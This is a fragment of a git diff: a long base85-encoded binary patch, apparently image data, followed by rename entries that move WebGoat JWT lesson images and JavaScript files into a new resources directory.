z^%Q%@U!P<-)n*Ws&yga({!BgJ0%J10+CpUi8k-iU2=Zs;z1caXnsBAu&dbo;7cdY=d&)KGLZ5u?Lgk^WiDoRR&go%b+40u@EWIh zh*#pYz~w8qAwPervGZd#Z&lf8yG3*|pT=o%Xyi7I;pW?)R>9McqS!bVz^I#c?!yy{ zM}f2cu$t*Nbm2A=@NO$mI-*GF#)1Hh5+3DEj7&|)ur6_wp}n7&oOYT+mnGZ@stnxG z+D-Lq4il?#B-GG@G8*kUiJd3A#Ne0jHwEPD)Tv2H8RF(*N2#7|fyqUX`vd%wdt`+a z1+wt`{G|j?qEh!xd;Cc`uU(mIB4a}I;tP)mNVzko1~v+$hH9Z~$Qla*!3l-I&jVr( z^v?q`eFZ*>K~Hr5)wcU7+@?^d*zJ~rJ8$w$WdN;Y8XBw7x1@UaHVefSJ z=g;UGTI5qBqY{1u19ag&sDC>oBZ}kVH(pUBtpj5B zI7k?5Ui+{*>hz^nL#FrGs6DeV;iTBco!GRA<3i z7V`T31}s@8XR1cO46$qLye7Qjwstb09;V1XO$b*F-=-m)6OxlLFqzKio;tvzD3eJ~ z&SeUX3GkZk-*w;m<~@8(P7XZxk)2S$`(m@3K@cy_N%uDbhH8I$k6+63Z{Fv>EXhA% zciYxh2StFo@wcEh|W_13H;jb$DCv3@jZ0r8gKjkXk z{XGzdK3z6$EKzKDtx%oxh~fb_3~b<(?J9XXP$j7Fk#V3OMcR3bt>lTN&hSti0f*%c z9%XEJ z(gFnT{xT(u?96s-N-nTLJagk$(8ZSGJnS)j1FyJOhZeWQw$}!c+cT=6TNt}wlUU!N z`Uf|KvcTlyVJGd|Ej(^a|Mn>xEzuhX3a*sy`L!R?w`e@*VMZ$PB~q{0dc_l2fZufd z&nfyO^p1HDjEqnquvNY9Zt7iO;Y>Gk&#O(2lSXG#@ppjQhpoTMH1jtj3hsh{*w!Gt{BdfiXpLS483P{o)%yu88R zFy}p7&<@XP&sjkJC@L!A<~NxrsaBeN0WB{xQ^w_LvN_$rjKJTU*I0lzKcQaF<@qNh z9i`jYjEi2w&%w+D0Ly#y(M(V7FSYX55$VtQ?XPe%^5RtajT8=mfq!#sC6sBICNk? z-nz-_d&0q?C8QUNn92J~`w8SUB<&%8hJni{5 zXm@+QXfPws4bZDBRzgNXMnl5VBJOYk;Cl49{%4Qg|C~3rjsKLMo6&ob_EnPw45 z8eT^FaCQu%zvsr|?^0krG&y)On+Ly~XY=|w$ZT(X$@{c9^jLo?V4>-!9%}_Qq6GFN zF&ICL3N;+H{=WrP9}8;ue~B*_XyH`<3RIeoaH{_h|GW18?@s@7`+uMGKR)C?+W$MU z|MNlhwQKsV4OQOH){eEFG>&CKBls1_##Bcpp0;gV3&*;De36B&vNBda@V?yFtz_{Z zbF;Ufnd%W_j?zwT0&ol`$uo_ItTWeoud;-pzMU6G1Vl|{-`uHa_&8|$JA6|wJRZsV zMplab`KaSq)%M7e(oVRlwT=r5TDXNW(rnFuBygH`v@~)NrIu{`!6=Ww#C?p%b!Ip9 zl#vl8(ySq%04Y-%PQErEyxDc`rs9ruXwI0DXrfT^(4RA{G8WbYJ2JJdzd`S$Rfz4f z+1LG;Tx}*P`SA6Q^OdXS2K6i&uo7}@F8aJFf!Yy6Df%R3L+HCPdb&D^9{P-)%war{ z@tnV?hkr{t_*)@aGKDPg^&bcE@=P zS%LddQN^+E2SzV!E-!bAnnQG5j|WrPT0Zv~E@S9Hrx~F;m@5{eP>MZ{6MzQeV9Lw>I6?ZVC$(bT^zo!q?cDk@9;NfNa_v{7%L}TE#}wXEH^*xl!D*C`^+D~*uW#K> zRwI4oL8oWuT%m3~c;0M%n==vi@v>D__I)yy9-HDcDZSEY?@j^roBO6OglZ=&fX+&aA!E1W$8mfDd2s6$eT&H8*eP6a+g@~v z{)|Zf)RPlzS@z#@gy9(ZYEx1KUr=Q?znXa;6Bq@{w@QL-xHu>-nC}PqlaBXLbS@`W zp{Gvem?AU#?;1}h_S;@Fu^JjIk;EPsf)noh_uu2qQUOxxpYPO=2>boI ze5R;%GCKPyhM&GRhE!vv-7bn7wo%M}0E{hX`VxY>qK zGv|5GBpx`k|NGWV=<5ek&3WZ+e~P&nZ7wUtk(Iat9pNy4yx`gZwu!%${L>$gHNoDD ztAsinM#%_~>?S>BCz+Ld0cz1Z9S}=DAOUdxGzjt)PpLdszHm$N-~S2hC)hMpeMR(3=4 z$$K6#Qg73Pu)g@@UeEp6^WN9uN&P9jdS0IWWfLUhK>)8(h9(wvTO{d_ELh)Sf@7n< z|MBxC#>+$U>!kO5n}Pc1&m#@xJV09L^MG-OCX^G(9x5i*4Zh0Cn`!WdUOwLP{XO7t z+u#tJ)@~c6=X}K5$rimN3VJG}C^a9Ze3*}iToexbt(JOLpOr^p)@5FVzCO8*ABQHm zM(T`5Iu4t6wM5^5E0>7#M?N6c<*q!Dp!2tiXT9f7n&JzptUpQ4$7_Z7`XQg@W;79* zEfU=y`il0zvDE8fbl($peUxvwT`+C9-qd+#^9!9LY->DUd&DvsFw^S96(|}AUy7E_ z|3VnAH=2I|q$Hw#-o*ZwlR`tiBG5=I*Y|gkHqu4E=eB~!iZUluM%#WWTxP2zd zT$ujQslmq{5JkM1>%qh00sPtYG#;o7n@)61?@II0)q~N+abZIg8>>;sS5lX%Au5%% z`1mRW#`ZjaTB(>D3`>A4{OEfl7jk0=OSC%t@8O&;6iUY@KO5>X&Cp*TdfT4%g`7A1 zFBX#?TRK;@yg5F6%FOF2ogQmFSZ+9Qgy03A>bDFs@Nglj_Oq}Cpcj2(K_~5+)4m%X ze7k-uWDaWdKTH({1@V&l{{G==%5!Piun-*47T`mG_0nAMw|s07dbx#h8y4qcF;nAC zHIR^7=@TVcaB91*b=2jS!D`ZT@JvCN0Daf+Jd#-j3L6hG3F;-)sq45BltoOQmJ*|v zqCc+xbl2c~UJ*;4>}|s^k{3Se>u@$m=O)SX#%r|FXxI+(KyUC`2=B90|EP=;`~gpl zW6XnE=#p>XyGbFw#V{@5$6kAbNj0&S&nvIbCKSeh=~q_5F><)$k6j*6L7~rqPge!5 zTrUTsV?8x{>X_=FNb5(Q&op3j>KeR)n!UYP89R}^Y-k?LHVER0rdeA3dZov2UCqve zzGWV5j6LQNU3!7|oA%#{Sfvq9_urr)IMKmG*q+8fqLT#u@$J4_mSYnSaCb>0}q==)^#u}3cVugJd} zo|+>TWvrsyzfg{gYBH^{%!qb~aD zYHBrET!Q}HYnu_8!;<-84*S4TI2jy?GImKW*LM(wp$ZBP{yAy6S6&`Vq*VhZdM_bfa@-xvfbn zCV8Y+|G={S#O*z4Rum=E9sF(i2B+HO+4E`hcw=``=={%1Vyu>WK;@Z<>K=}cYVMf) z=b;b6_dPo&h{PTUx@3X_p|g-0%lB}B`kg#JdPD{v*0;~QLlbY_*Y(+NzlTE@69_Ng zm(_pWM35sly8dzCyK98}=C|;e)|Bw*5kBX=ERg)qaoAJ`3Tz%HXdDJOJ48m3h(+d1 z@y8;L$2lKk^bDgUxsIDwH8BTF_9oSWqD;kZ1y_z%>}obf9pgg=$thoPSn$MOp_gs? za`F65r4>xt7gvTi?RQP%>~8{}IUdG!Lndj*78)y=6o0m5G*3P8Z#<0~*Q&me(Y?w( zezeR-n-Tf|_3$9>gEp}*QwkN2%b-_S9n6{jslOe}oAK9pc`*WDn+ZWzZ*6rT3~uoJ^Fv*?YMxMC(O;RbEexi%4!Oyz zta|fJtu8+x-=9tkAPNXXtgYW1Y8XVX3)G=esat6nHPIX$DPxKzn^mhfBN7k~>+Vu9 z12%zZwY6Jqhpu~1lf%`Xjq|@Gp<-U8v)MsAKs7FUzb^!qX09_gFmy8Qtou~iTd1+MBqK#BzO0YH)>rA=Kb!>6Wp~PS~Y*V zI?G=YOR#w<4^CqI%;4R*Aifv+;z03w=lSzz-5-#t@rY~t+iN}1+a09Zhrju9zgXOI zIICOl;?e!?Ymz-T6F07J4MRhJAm!K>$(ywAjC$m{{aNq={TVI@2=J!cT`KMRD%&1i z#dhNPmCfB;Hv3H#=Pwk-pI4Lb$9B3mOD$wJm%P;iS_=+u7$S%?u#{ z>Q*}Kf$rxzU&q3S@lG+cw@OA#x4Ir*qM&M& ziuLMeImn!sIck^ZSi<9KV*a$04_9xZW8j~%LUvG7km=_$CoTPenArh5M7jqe$Jx+U zn2Y@3kSFiMU5tVom>3#-&aX$v-*(WBb=~xF_bU8tpTF}Zn(ccTubtG|B!sRJ)+|kW zEFElVzo@ymm7${;U2K%_IYLhTZ2_cWIZH*Hye0>wl0zyDYc1&L>&3CQeNjTqdg#nd zrUfpdM5M03drha#{khdkC)*c}VkOZjxgn%-JH+A`T41y%VZ?SX?cpgx_`H$VnD6~5 z6j+?h%1(tULJ{lmPr4qj3zL!m2<$C_{}$4IND{E&zyuu+U>URaBA*mKkN9DvP2tbs->DvR|XcAaO zRSz9$0e}g|I+jMlg1Y}Uh4ZE!!}E3#jlvW%be_R~cktG9zxMBHh&_i3nd#q_6?}t^ zq#cVK+4a8!h+9uqz4y54ae*29aTf)OvQW&f(gOdf{PXbDfP%j*>reCW*Jq2Un-#GmLFKH!J-xT{@J*zMj0v|?80omtlT8={Eb#T0@B zf_Ug@lrH4fNwz6(4L!$WMhXW|dtwS3oqpaYhU%W>3H>hMalzx8Jck`eF?}{*^o~2P zK$0XAQU8yg7Orp{5{eg=5s~)kXZVI7q%Ask@|Z4A@SCPG#9e_U<#5&YjleFNzQ>mB z<2^&;a{L@~oVC`1gB%DajZBdd6QhK{`z;mQgXb=+l0$2=l~% zQ2?$o3#&dK$6DMrPBuEDJ`yO-O*f9&#>1gYPWeyC_yxvo61JiWZ=D!i_NkPsw_pNy zoJ*~ZuSaFt*mKN_vI%p5rSIu;fDy+wgG7LzwDHYUsJ2M32Z-xncoG7U86gtZnr08E z7{s6J)d&L0P`TgdS-l}cp~aOzM|2kyl82lRA0AN6t;Z==&O}hVVzQJMtDnbt*Z%9X zT;ll|5`n1_{K_<1?DPUb__94Qxr!0yX17NwK`VrL88!*uaL2!SB$(4)8f!#rz8hIK zz-{-%HH6Zua=(q3Jv z1cdF%bmVJ|FL2qf3mKy@@?Nuiz(;jlJl}I_wc$n8JkS-TO&(7GA7B(9USnq zh*Z`$#g73b7uI7n(c7_T7gge3=IpUuk#w^CD}J5piz?I-|I4=f+pm(v#ROzEN~}%c zHTM4Tx>eyHhCHDfe&iqF*|Fz4T)WJ=UBs}~Ua`YOXC8&)g4w?evXIr>2M89WE_Nl} z>FQb_hTjBiprF1ZRke8Z5zNtnL#t6U4eys#2l$hOg&^3OKHwfAc+){oN?u;X)Ne_JIDmT6&Z#f{(lng1Yms^zyMXEovGH38tL|}__fCjI1N2KT z@u|`zjaoI*6vIWGVVOnt7umN~;k(de5csNb@*2x=u**Up;N7;lRzIPYen(xS6gc8# zgbc>|6gi!zj|zvcs9z^59)1 zY_w7*(lu_zHYY*?Pgl4(x&~{W#N?O6n=k~%G3j#6tj@=2C~YAPryVDw-Th;so#`cR zr8En*ZGh6!5 z9LbODImI|6A_cQ7_0$4x*Z~6Dn0-s^*)4n)r0ZqYmpqG@iFOr-ZT3d|q@i`{iU_-A zvVAb?iTRR1s`mWcU21t-b0GW65uNA#)AQe%#|4;Kf1Gu61CW!E@~2+b8je8-inqZ4 z(JLx8B~x))$J2J0p29TMNOV0<`_nY9j~0_U+S)!Xe^{S4IYwdO?AZQSQ9U)Mxc~!G zzYG)pP&k!{Bz_${;}v_dDypild<~7&D%+Zf3*H}1F``tQz${iJxQo(B5 zisS`4CC%?54(j+*2~6!}t}ohNen>M4_&D04Fn>Zlw;VpVl!Sv?LX?S33_vv1emxO4 zY&kv`u*;BHI;mkQ3=|3Al(u-(;hsorjTMk}X9}whNi!8m?)h2_5V`W*Hr$ZpsRMe* zO3n4CR9<3{Ncr_y-NxdLzzsNS`~9pegGa_unrIt668NUv@dK0O zt=Sj?Xtcx?9_vAh?CsxfUY-HZJE5^I1~H91CPZQ@zwT=uBY<08K7OKh;ve~Bv?{bd zy21mUJuku@5A>RGtt;D2inei?f!(o{Qp1e>mT51*Zi#+~BrS)u zwdP`?2F(ur^xZ7(_6o>?m@tdb#}h9xSq!mlKTj2hLMSW*^okeTDOB}1F(okt=JDt{ zG(wv&(%-$lfEZT}bAp4)GI>eOix25tXjH3h_(vOhwe`}2e*{43n_W3_ zig#+xl3gAe5wwsM!@5mF$4e~oyhuc_sW`2^+cr3U6?OZp?1?AK__?BSE*mpqap;!p zzTZ`x2P}uGm%&e~##BF}fi|&U`LHDOlP%<(2!1c5o-$bUo=dWn9p;Yj|K1I<*3)T& zuv8*`4aDMi?{jmjV4l3Lt-)f98xqPj@!bl|cJ`{A&h_&p2@Xg@!{{huVK8QnnE0Gj zXp#4b=XzI80kqx5z~G-#hj9Tbl?_{}LUe@LYxBhadpkUleC0B0NJ7VN+Q`iGr3}>f7@VVgnQI z-|zP;ycShd1oAb~j?J`nHjn2}(iKV{pCY4^C9#lUAxoYe{>1bp7Foi44H0vGA8Ir# z_KW1k_{1zz4J0IMFZwV829LIVk6i6Op;{`YeR{A%?1#fY{41y#2=zNd6aUZ&&rpsZ zz^FWukZl(&aXd>Tf3}uLf#Lt6IT0T@?X|W7*}o2PSjr9oD!Cn?zUhxnU3?+TchrFm zV%KXg)VG*mpc3S|GtUK*`wFBo*fvV;B#hTRaDUlY-6UPQ*P0tpv9>dAi4+a4 zK7c-imTbAcNla9aM%zCM7XtMS6x|kobs$xy^|`qAyEq=7B~O~ zH3TvgyW_z{)$5uj$m7^3yoaq0Ty};H?g~i5>$3bnLaeJg#7>m5tNMj_3tLeFTopFZ zMFLnm5GDH~fEbfpa$e~IjpT5gk%M$fTx+Rq4wbIKoT0kULpr`%4q8U6#-{`vjAEzU zNr>*u-Rx`!j&nvv5eh;XDV7+So@4FzqP|Ac_BBR7-7CubV>SS0K^z71?ibq7;p$pCPB(0uGGd6r zw{=sw>Mbf4TNE3Aq_AG8AETo%BS^5(F9OV>U~T>cg&&?@nK~Aw#h+d8obyu&?Nv@= z#(#S5s->-cY-TFwRATwT{0MtFcf^kithhBG=&m(V+pTXd9XHL2p02#T{Jy?;29Rc1 zs!!Ot5t>U>lA&ljs5jGc5+-doPlT9J@Udtc7Mv`D0Xd%`=q307x{ zKsMLDqv?8P%d=xp1;lxrIsp*Zo=bu8b4%IKB_E)^irWPzEN@EHztju~?>BE+YBV+} z7w5q^S+L#_4wM|z88Iw*fg;wOxR=1ekeZ-kt{Arn;eWAuSbz1|Ir)5~bEv5VJYihVgnR_{5 zp($Uqn0!AiR>|^8XCTO#GkCqI%-PoXeUYP?G>zVF`gf~0o!=38G!=t(0@AK*T0S-q z=a`!zhR3L-vXh~DOI+(`6;q9RyQM1B8#$Aj`hQG$o7(ATR%CYt5Wgl#^g^b^rRKK5 zbynf<8g%!4W`H4JwkEzJHCkF|kP+Q?V`ixmLy=SkzGNr>HUbBM3Sg)5;k9xY@1$U4r=~Zy>uESSrzW$#Ye{6<c`ozr4tr#D{c znD6QEwg@ImDka8-2Mo%0(@cZObF9Br*GViDAUS2EZA%NeYccil3|VIA&c4jza@VmH zut>BaM!#bS>WwOcLU71ZvvlU93tF)Pav8i?Q&z4rF)YjTT!0oOA*8OT9es}wWA84-C0Fq`H z6#?KZ5L*-dn8|Bv-(2EE|QlHr5~R zdJz`u*i5{_tu+Duf;r~1;2Wg8yOxum&R3m@CH6cp5Q2fz4)xMGH`&=E9)`T;$;R_P zdekWAOdm8vvJ*$F&B#8?U!x`$M#7w4H85kbBGH5>2=b1ZolL1PIpkYLRC3B<=h*St z-I>(kxPDQ@@%QkH4_EHRa=5{|OkOI(+U(hT$o0q0`qD!x;^;)Mv!TtFXpt|+{;Q~Z z%-V9~d^<-m*G>mE+pYya@Ad$m$s6)=MzXEZ32e{CHP6OTx?J0 zb4I0YsN{Ap-$#^GeBG=&6W-gQgxJw5IsstH5yot4jl3(5Zy+U^#y~LLa0sWBOIdBt z9g?Gz{$Qc+4mHAr%Wl#68*-zCuaYm}bX?)2R7NRcT!z{N%gHM67YA9{X*@6B$ZJd` zmfn3hZ^LMB9wgQCBmnQyHrGcl>=%^%lMx@yW&RFBz&8zgyQNX8aI!8_9YVR)u+u3) zJ3PWpU6y3yQo4)l{vP=-8hI9Gc^H&oCZFDblXB(1F1Ae^7m(6d1wYE4)(;=85jB=wAoE|ZK?b50x%@aA;Pgd9QZCv-#F)e)%L!)9TknEo{$ru$QD*tGB`Jq< z3g*2D24NRr*c-K0(b=@3R+b_#OsDyNAe+z6Qqg*ghLP&kFY)cRpr)^R=O7F&JL#RK zw|4;rF@1ImA@>A|h$Bz7G>Da({1k>$AQAzZ+K@^BAdgE%rwG2xH&dHW0}R%umtN{&u93w$sDQM%5L%foOu&}`cz_> z5BDhV%KSz#PLh0bh(ylvS2$sq1WhV?U#!n`+lvav&G^l(=VOUIBP?2SEr%_MqU|I- zw>d7`lvp~HnrQE0A{jJ7_ZF5}0Z74Zy}bQ2ZN9E8kK_YlJ@HPz$i6cO2e9Ut9K75vD&k0{!h=yfO_Q=gaNBT*d`?ogo z?^_!fv!es1aPLs2l~cWf$zf1dzSkx>wXtb(u6zl~n}ZBW2Eq?(Zl7z@tfGd;{A+SU z+|u{QyxV6r0+zs<46C@?N)K3a^FOYYazR@pzU`32xB0nipEL)vR=Lj|%+ zu5TfXxt`?3=tI*lv+)8gr2c-eN;urqhq;gWFR_fbf9CK^}%8zaD2 z86;5b^L!;oem$`0IuY{42$0_Mbqj`Tam6bsoNmYk9oqmxKbMTmU1~#7)_(1g{<416 zmculfMZ2cIf8zx-Qib6UfC+IXBA9BVH(aL>5sM0L=&4k<4B;tY=1uy15RMBcpQUMpki(u2w{T>e!duAu4tO2XEc#@N*E1H8^zS_G& zZ7Qv8hy7!C#kISbbL-)2Gf8W+aceVM)+z{THeXjeQ*#PeW7k#@lTs(zS9S|0 z2Dw@K=^7kSc*XADxo{uy`fTd|idJZ}!Fqf-9u~Ot@yQ!9suUW0}R-NuJhL|I&+V%-)PX#B<6_)BYV6V9Ero=)kmflDA&Nek)+K~LaDRHtuxa!wuc(^&u)GsFx8glj7 zK7eNit()UwjJZ*1nRw5fMS%kRE_V;Tqsixw^e6rvTZ-U7q$u=HK25Cc1f@xPV^OJ9 zz+>L_3~b4^hp>*Ir9Y#+SAp?~HkFu;Io|h(SOAW#jzg)YrVHWVMUAr|;VFr?6{<5Ey2 zwGxL+Ao5#wlU>N)w{8T)gt7T6!eJxtL>|gc6b+`}#Jaf$o#%B$}@ArGL)R zI;VGgvJ_#5ux1;DPC?WIkF*yImF8jSX-hCLS*=lOY~gcNXl4%~w6G-F;O9k50{|?}%Qc>hHhq zF1DW+dWYJb(?ycF?f}H@Jc8S=@MmD_F`0JfAoueZT%L3utTu$R_9N+6q{8AU`9Fn^ zGk!5SESW|YYCGeM>xQ_qhvf)?3gkaOIKZnoIjF@{eUE2FX4w~g(roLlg7+Ajj}G!@ z>nSQ{r&6G&?_Po&s|I29dQXx6)W6B%n|;2g=b+z?zBi9P#B?HeVA_uq^3B6Ly+RLn zQ~X*UIyn#Ym^__!t}2j9_!HjEjAQsu^uwQN zbpOT&&vq=9*52=B7!YC-!Z-z6kw~rLUg>>ISub_|$C=@v?La<;7TpV5)H{n@pKp76YYKcgwF@*fnS_oR7Laei@dlR~)L)(`qql&5UQw$ZU zsW@N;-qH1R_oGW72v)5w<|YHPw!tu2XIS+ijU|dMPj8JGn^cAA#>sdND_de~@X|rQ zX3_BGCWt#Y-Pt#A*y9z}ZLlQQuu_=`DLO1QVfMVqw6B>*&J@=eJE=6O4S4)K{!;LG za##}$JYMg1GXCxT+)*8<$TYrj75?$+D*gA4N3?_*b;&q;KO zN7yV69qqml8Ho4P5u4xZjXdfq<0&GuwZj2vygdHn$QmIW_T>!!uq(FrXv|9a_&U`s^yQlzjwAl!}6dA-!& z+2XP*eh|7gy@rRlHBQq;0^^tbkJa%1BB1=sTG%wkAAWQhy=8*kAaPB`URxD*gLuz; zs4M;FvPfm->dy@?!F;t*>VHThfylKc5CVRfmeX|DDtmbwGhknoro~r`WR?8eIz6wZ z*pc_GewikW$Fj~t)Ah|+89TDz^G(}-(_8)>&3|xQ{$n8jL5KO581rw_Nqc3caN1O* z0+Ut?8TR4+;u^g_EvaPK|6FP*K>Wxx?@g{Uca=Tiv2mCaUE-)fjbr@Jl+{uOb4L~h zk|M0L55NVl?AfZN_9PYddr?c?onEQY=3Y(Vo*TOvl+4On`gStDY$|2@-4Jh)*9X01 z?bgB_0mkwxNSctYZk#fVjsfOnhS{&lz;GbG)5_2d(RC%tOJ82ienY@5iSpdQPvyJ$ zdH0=g=yluFh6F3&wE^cG9Wm1fVx|%FvI=|snHE%8Mbyan_SgU_vY~V6*7XBwB<)f+ zLGf{bPoYPUs42+uA&9V7o+->N#kaQh7jhpC>sa4UWRiH zv1d!Pe*a>{sz_y|{M=>0=dv1Utv{aU|2D_`YXXB_w>j;uwRKj-$P4&6fmAF**F=Bx z{_V~eIm?c_za;dk#8aEaQu0HVh<(<-=T9v9qZ9E7WU~02nWJ}0n@aORCZQ43QplzD z7f02V*`m%Q!PPbT-9BvI-j8kDS7V$i2uO&1<_n#d^p8*okJ~2PP(qQr54V-PyD7@dAI_?@?C#;CFa_GlffDi)_(rN=Ingh z3LJ~Pw0sy*JGTgZ4mtaKsrEKXQd+1qQi{6krhMh$40>)glwc3w<-6Wn_Wq=;eK}Y7 z^rg68w!v;|=jp_@n>ia9hkp0EcS$z!5)|`O%pb?zmHegnury0(NDKSo>lSbtpv7i zzdqqc-feEv=W9{z-Rq%hA-Bxb-B|DIPuv#@L`bStfCWk z-K0?e*XzTcuHN0O2gTn<+5@nvV7kR{Qhq`qXGZADzAN?xiW^ysc8$sY4rP0yP}dWZ z&&lG56qbmjqbEXrZBV+oRLsRy<9^%DnCWK2aG}|8MqMi!?g*VD1h`*H`HXt)+EK8} zqH}eR7k~c(?H)To=lC;HSzvx$p(6Y|?z#HfW7_uAn9Zu+7@0yFb2s1ZGcD)!oz_JzyBCA{`XqJwe)v7A1v2DVWyD+q`;9DQ3CLQhybz7L-Q1*PR)G zf~BboDx96wd^z6l{!^Z*Q*t(4&f2HAGpz-I`tlc>MYl`QS_aA0dFhB36_(LGXL;T>ClGUC zjP37)YxK9>e^YudP$YKf6}`7-!{@rBNVQp6(UM{Me6>Gd;eL0rHkL7wJ9A?e@>v}l z(VaIBX+oP3OoJ>aC^*eps0+j6oP`c@R0Z(&gf<@eq+&45FSpB|o``&Rz;UmS6ZM=P zzZs2mx0;k$=gLA~UxHpd3(XIvsmo@Wrr}ijn=Kh3GVs~T(I%bD8j2~Zm0Vurg;OP6 zFL0*M%dggtllehgcT<`=CehA9YpfS$R9VRZoL>3jR9`gN!85z<+DmrPpEr{24aQsj zNO(B1d$YJK-A<*~qi9gW^*U?^CyMOji#_XM)OApON;tPUuT3UQ6l(QqF zEoSi4xV?|8&f1_RXOGXJJZ|D*6v08%#p<6+N>FovmxCN3Ny))C{hy#U76V_l7|VaK z;?a^OWe8PT>#qSN_`Sn>sS*NSo1w{+7#yGh!L|pT8 zZP=ew#$*+;7|RbUYZIq2-fgPCXd%$buxSO~~BmEdYL$i%M*BE$y2DGJzeRaQEl zA4uTZ)s_?$U$7lDs5Il9?W8z zr%}rO2LZI+x7OX2xgvU{P|_fPiHZ4i!yr}y2FFE5%W5(SoeQ-%$NWV=`7*q-G{uL4 z#Wy>>DDUphHLpD{e3u;6(Rjow8HOGFc(?WP_&R=jy*IlsBcbJq4ns-R=mgw0sq*tp z$|U9FP!bbW0DOEruR}<}&%du>40B4oW(QtJNS*C!D^~)ACw0m;O_3BNMyL z-8(H`?v(?a7*<(uQc~VS;RIWWQ0s!|usyL%#PhA7{|L`jA@IFVgz@iV7dfRC-mj zU(+}z>&^MRuC?XO<>{lNXzT@Ci6PH_Qxykh2Ir~rLBcAkBuI<%>|sWK1$3`g>ip5hmC_Y~?ba?c$->jSWpnJ715ShB$AY{PRC~uDj+Y$h7C1R#}0pMBDDSKXJz%4_z0g zHcSE?7tp&Pw@>5z|3nX4ryAS2VMq7i+I>r&ku3C|+4zHQx<0it8v?ZK1Isbe6w z19vpgM9SElI^#`LMiBe3)Sc1@kRBEmiKqo7-vn;$ONDl=waEQF^8@a9k?l(-e?aYv zrQWjoU#{TxF-Zq?xb~-Hyy8T9zQyGDiZhVR(HEE$>%#6K!3=bJH*c2qMwjWQ)X`5^ z?4|kzs2S%ctje4|G-)*rxSU26X?p?diHeC9$}kci*j&cl$6eg5p6Q1L_IexR#?pm! zV~sVs8CSJRPVtj<2)M|w7Es}%#SOCb1-g7%U7eDqQJ~tKQj`1|$C9VyO$>l_=`|A{ z(2WG`>l*ZP%G0Ml;K#3re-%_zC~@0bJ!t+%!EIAU${L)7RxCYb{9u$umvSTyln7^` z$o}G!jR6DfN%9?PeyTj>ifLXB*QVba1z`!eor(9%y53FLWwU7eIhS8+h83C8=*?4T zI`+Q~Qn`2ZJ*X%1eu$1hJ^yIImFJ)Ya@(Ao0EX(^L$#WdsmOGEWqe^&(FqR8NwkrN z)ph%_HctMFhBI1Nyn5bVqNHmVOYygD+F~A%s7x<)+9l|;a+c8zwHt={8$DK46%~~i zVpmY|Kk?~)=fU2S-A9d|tTik9lJLzz>w+#=Vo$^~daQ+v#!U0hym3Y}Uc>I37!er@ zgzJ8m#wNAK5Oil2$YK~Y2HVyvlb5x(F0WaDN#4UsxMGIR#}=n(;=@FQih!GOYD?qrXyUTOB3|SWTX2PEX0byu5zwCGt-L5{D{m3WEN=A7vSB-CI7cTG1Vj=jd9U zIE7`-dL8@CHPj%Crx?)-Q3C@5dl#1?*9~TqP)oK;J0WlHTMP=}FR`hW@a%IHs^X7GHAD<#e!KBhJvX-z}8SQSi_+84#q8?C*IlZEz7K15hBe)qh$(=at|Y>^RZRD|WqIxn1}7A`Bt zKl;{P?Yhqm2ls~apU(vtbkrxz<#V>#*#os+qxim|Z})ZDTi;ldW5h4|`7;vK;v@mV z5BTwAa#D3!NRU&dY2`*$Wp3KL)3Ms)&eNRx4)`3 zAOYy;w9=T}*$(<)b;!-_6P+&v<%C7r4i0yh%PcG()w`4DYar7zGw>uN!aXW$AAwkPLr;`viYrt3|4 ziA;qP84C2IWn?~H1KTr>s=GQmf{+SdZWv%U!CkB`zrAiuF6{uY5j5@%ZA1Ual>O3C zP@t2R^uQu<>2t@nE#5)?5*UCLMZ>`UwvSq3E0O<;omV zBXT$12m`3MvI3(ukIWprf}uh9nO)r<#j;}0P)vsw1+oNtcEG+&PNIBX!D@5L(Q@eB z`7Gs#Xgxc%HlH$jP-{SG+HWP_P=rT0Nkfhp`Trmp*Szf=CKEMFgfB|tos{)qi9@T= z9#4M@O9Hd1-%$TBsN6E>Q&09UxW4$4tN}$f!yKCC$SBFRqow2><{9 literal 0 HcmV?d00001 diff --git a/webgoat-lessons/jwt/src/main/resources/images/jerry.png b/src/main/resources/lessons/jwt/images/jerry.png similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/images/jerry.png rename to src/main/resources/lessons/jwt/images/jerry.png diff --git a/webgoat-lessons/jwt/src/main/resources/images/jwt_diagram.png b/src/main/resources/lessons/jwt/images/jwt_diagram.png similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/images/jwt_diagram.png rename to src/main/resources/lessons/jwt/images/jwt_diagram.png diff --git a/webgoat-lessons/jwt/src/main/resources/images/jwt_token.png b/src/main/resources/lessons/jwt/images/jwt_token.png similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/images/jwt_token.png rename to src/main/resources/lessons/jwt/images/jwt_token.png diff --git a/webgoat-lessons/jwt/src/main/resources/images/logs.txt b/src/main/resources/lessons/jwt/images/logs.txt similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/images/logs.txt rename to src/main/resources/lessons/jwt/images/logs.txt diff --git a/webgoat-lessons/jwt/src/main/resources/images/product-icon.png b/src/main/resources/lessons/jwt/images/product-icon.png similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/images/product-icon.png rename to src/main/resources/lessons/jwt/images/product-icon.png diff --git a/webgoat-lessons/jwt/src/main/resources/images/tom.png b/src/main/resources/lessons/jwt/images/tom.png similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/images/tom.png rename to src/main/resources/lessons/jwt/images/tom.png diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-buy.js b/src/main/resources/lessons/jwt/js/jwt-buy.js similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/js/jwt-buy.js rename to src/main/resources/lessons/jwt/js/jwt-buy.js diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-final.js b/src/main/resources/lessons/jwt/js/jwt-final.js similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/js/jwt-final.js rename to src/main/resources/lessons/jwt/js/jwt-final.js diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-refresh.js b/src/main/resources/lessons/jwt/js/jwt-refresh.js similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/js/jwt-refresh.js rename to src/main/resources/lessons/jwt/js/jwt-refresh.js diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-voting.js b/src/main/resources/lessons/jwt/js/jwt-voting.js similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/js/jwt-voting.js rename to src/main/resources/lessons/jwt/js/jwt-voting.js diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-weak-keys.js b/src/main/resources/lessons/jwt/js/jwt-weak-keys.js similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/js/jwt-weak-keys.js rename to src/main/resources/lessons/jwt/js/jwt-weak-keys.js diff --git 